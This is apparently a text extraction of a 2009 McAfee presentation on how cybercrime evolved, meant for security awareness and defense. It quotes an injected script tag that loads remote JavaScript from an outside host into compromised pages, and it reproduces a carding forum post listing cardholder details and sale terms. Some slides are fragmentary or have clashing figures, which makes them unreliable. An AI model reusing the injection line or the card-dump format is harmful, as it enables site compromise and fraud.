

# Cyber Crime in 2019?

**McAfee**

Greg Day  
Principal Security Analyst  
McAfee Cyber crime fighting initiative EMEA lead  
AVERT Member  
March 23, 2009

# A Christmas Carol – learn from the past!

**McAfee**

2 23, 2009 Confidential McAfee Internal Use Only

# 1999 – cyber attacker

**McAfee**

- Melissa – First mass mailer hits!

3

# Evolution of electronic threats

**McAfee**

2001 – CodeRed & Nimda (exploit security vulnerabilities)  
2002 – Klez & Nimda (Droppers)  
2003 – Slammer (Speed), Slapper (Unix, directed attack)

4 March 23, 2009 Confidential McAfee Internal Use Only

# 2009

**McAfee**

Year	# of filesets
2006	78,381
2007	271,197
2008	1,500,000+
2008 (Projected)	350,000

- 246% growth from 2006 to 2007
- 400%+ growth projected for 2008
- 2008 exceed projections

Source: McAfee Avert Labs

5 March 23, 2009 Confidential McAfee Internal Use Only

# Truly anyone can do be a cyber criminal

**McAfee**

control!  
keylogger  
ted systems  
me!

6 March 23, 2009 Confidential McAfee Internal Use Only

## Using the unwitting public – in the cloud attacks

– in the cloud attacks

**McAfee**

`AES<script src=http://www.211796.net/f**kjp.js></script>` - Windows Internet Exp

- 200,000 web pages compromised in 24hrs
  - Daisy chains to China server
    - Drops down loaders
    - Steals gaming credentials

7

## No more great train robberies – Little & often

**McAfee**

8

March 23, 2009

Confidential McAfee Internal Use Only

## Data = €€, \$\$, ££= ↓

**McAfee**

Free Cvv2 of the day

This section has moved to [another link](#). This will no longer update.

Note: Since this is an open posting, some of this might not work for you by the time you get here. Do keep tune in for more goodies. (Last Updated: April 27, '08- 16:10 GMT)

Full Name : gennievee go...  
 address : 1111 El Centro Cir...  
 City, State, Zip : Texas, TX...  
 Country : United States  
 Phone Number : 817-221-2211  
 Email : mskhome@...  
 Password : 1234567890  
 Card Type : MasterCard  
 Card Holder First Name : gennievee go...  
 Card holder Last Name : go...  
 Card holder Phone Number : 817-221-2211  
 Card Number : 5145211000000000  
 Card Expiration Date: 12/01  
 Full Name : john cramm...  
 address : 11111 maggie dr...  
 City, State, Zip : Millen, TX...  
 Country : United States  
 Phone Number : 732222796  
 Email : nyorrrr\_zam...  
 Card Identification Number: 1234567890123456  
 Credit Card Expiration (Month): 12/01  
 Credit Card Holder Name : john cramm...  
 Credit Card Number : 4444444444444444  
 Credit Card Type: Visa

Conditions of sale: (read it before adding 100% to our cart!)

1. Orders are sent to you within 1-2 days after full payment for the order.
2. Accouting or desire that can be checked up during the course of purchase.
3. No consultation and advise how where and what it's possible to take advantage of the game goods.
4. No gift, 'just for test' etc. And I was very tired from babies and children... do not need wanted my and or test too.
5. A work through secure service... Use any verified firms.
6. Payment methods: WebMoney, E-Gold, Western Union, MoneyGram, Escrow.
7. No customer orders if you pay with WebMoney or E-Gold (Details for WebMoney orders are in aq)
8. We don't have cheap WTTTS FDS, etc. etc. (remember: always pay with my paypal acct because) usual buy cheap paypal - there is no reason to still money for money to find it a lot!

Conditions of replacement:

1. We replace Pick-up (if it is not only within 72h after your purchase.
2. We don't replace Dealer, No Refundable Parts etc.
3. We replace nothing if a customer works in Turkey, Russia, China, USA.

March 23, 2009

Confidential McAfee Internal Use Only

## WE are making it easier for them!

**McAfee**

abc

If the industrial or retailer's failure to offer 100% in return for the products in which attackers have threatened relatives at knife-point.

11

## McAfee "In the cloud" security detections

**McAfee**

- User receives new file via email or web
- VirusScan processes information and removes threat
- Artemis identifies threat and notifies client
- No detection with existing DATs, but the file is "suspicious"
- Fingerprint of file is created and sent using Artemis
- Artemis reviews this fingerprint and other inputs statistically across threat landscape
- Collective Threat Intelligence

11

March 23, 2009

Confidential McAfee Internal Use Only

## I was blind, but now I see

**McAfee**

McAfee customers

Customer

SiteAdvisor

Internet

Malware Research

Risk and Compliance

Vulnerability Research

SPAM Research

HIPs

Collective Threat Intelligence

Map Satellite Hybrid

12

March 23, 2009

Confidential McAfee Internal Use Only

